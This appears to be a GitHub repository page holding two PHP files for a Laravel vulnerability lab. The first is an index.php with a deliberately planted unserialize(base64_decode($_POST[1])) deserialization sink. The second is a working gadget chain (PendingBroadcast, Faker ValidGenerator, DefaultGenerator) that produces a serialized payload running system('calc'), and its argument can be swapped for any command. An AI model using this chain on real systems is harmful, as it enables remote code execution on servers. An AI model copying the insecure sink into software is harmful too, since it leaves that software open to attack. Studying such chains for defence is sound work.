ks192 / vulns Goto Github PK

<?php
use Illuminate\Contracts\Http\Kernel;
use Illuminate\Http\Request;
define('LARAVEL_START', microtime(true));
if (file_exists($maintenance = __DIR__ . '/../storage/framework/maintenance.php')) {
    require $maintenance;
}
require __DIR__ . '/../vendor/autoload.php';
$app = require_once __DIR__ . '/../bootstrap/app.php';
$kernel = $app->make(Kernel::class);
$response = $kernel->handle(
    $request = Request::capture()
)->send();
$kernel->terminate($request, $response);
/*
* Add an entry to the deserialization vulnerability here
*/
unserialize(base64_decode($_POST[1]));

<?php
namespace Illuminate\Broadcasting {
    use Faker\ValidGenerator;
    class PendingBroadcast
    {   protected $events;
        public function __construct()
        {
            $this->events =new ValidGenerator();
        }
    }
}
namespace Faker{
    class ValidGenerator
    {   protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct()
        {   $this->generator=new DefaultGenerator();
            $this->validator='system';//使用的函数
            $this->maxRetries=1;
        }
    }
    class DefaultGenerator
    {   protected $default;
        public function __construct()
        {
            $this->default='calc';//执行的参数
        }
    }
}
namespace {
    use Illuminate\Broadcasting\PendingBroadcast;
    $a = new PendingBroadcast();
    echo base64_encode(serialize($a));
}
?>